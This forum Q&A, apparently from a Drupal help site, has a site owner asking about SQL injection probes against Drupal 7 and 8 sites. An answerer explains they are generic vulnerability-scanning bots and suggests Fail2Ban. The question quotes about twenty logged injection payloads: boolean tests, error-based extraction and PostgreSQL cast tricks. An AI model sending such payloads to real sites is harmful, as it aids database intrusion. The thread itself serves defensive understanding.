MYSQL injections: Are they a threat?

Question

For a while now, all my Drupal 7 and Drupal 8 instances have been under constant attack from South America or Asia, where the attacker is trying to infiltrate Drupal with MySQL injections.

The attack is done by adding some MySQL queries to at the and of the URL:

www.example.com/) AND 8205=8205 AND (2155=2155
www.example.com/ AND 4874=9552
www.example.com/ AND 8205=8205
www.example.com/') AND 5487=2530 AND ('Kcfy'='Kcfy
www.example.com/') AND 8205=8205 AND ('nUHc'='nUHc
www.example.com/' AND 9068=8481 AND 'wbYZ'='wbYZ
www.example.com/' AND 8205=8205 AND 'DeAs'='DeAs
www.example.com/%' AND 7985=5834 AND '%'='
www.example.com/%' AND 8205=8205 AND '%'='
www.example.com/ AND 5913=3547-- BaJk
www.example.com/ AND 8205=8205-- jBam
(SELECT (CASE WHEN (1873=3317) THEN 1873 ELSE 1873*(SELECT 1873 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
(SELECT (CASE WHEN (9523=9523) THEN 9523 ELSE 9523*(SELECT 9523 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
www.example.com/) AND (SELECT 1687 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(1687=1687,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (3698=3698
www.example.com/ AND (SELECT 1687 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(1687=1687,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
www.example.com/') AND (SELECT 1687 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(1687=1687,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('XLCQ'='XLCQ
www.example.com/' AND (SELECT 1687 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(1687=1687,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Witz'='Witz
www.example.com/%' AND (SELECT 1687 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(1687=1687,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
www.example.com/ AND (SELECT 1687 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(1687=1687,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- OHLo
www.example.com/) AND 3711=CAST((CHR(113)||CHR(113)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3711=3711) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC) AND (3563=3563
www.example.com/ AND 3711=CAST((CHR(113)||CHR(113)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3711=3711) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)

Can somebody tell my, what these attacks are about? Was there a bug in Drupal making it vulnerable for those attacks? Is somebody else experiencing those attacks?

Answer 1

Can somebody tell my, what these attacks are about?

They're requests from bots fishing for vulnerabilities in your website.

Was there a bug in Drupal making it vulnerable for those attacks?

Vulnerable to the specific attempts you've listed? Looking at the exact nature of the URLs, probably not. But there was, of course, Drupalgeddon once upon a time, so maybe.

Is somebody else experiencing those attacks?

It's highly likely that they are. These attacks are usually orchestrated against as many potential victims as possible, and not built to target a single site. If the attacks you're experiencing were tailored, you would probably expect to see less generic and more Drupal-focused approaches.

---

You may wish to consider installing and configuring something like Fail2Ban to help with keeping the bots out.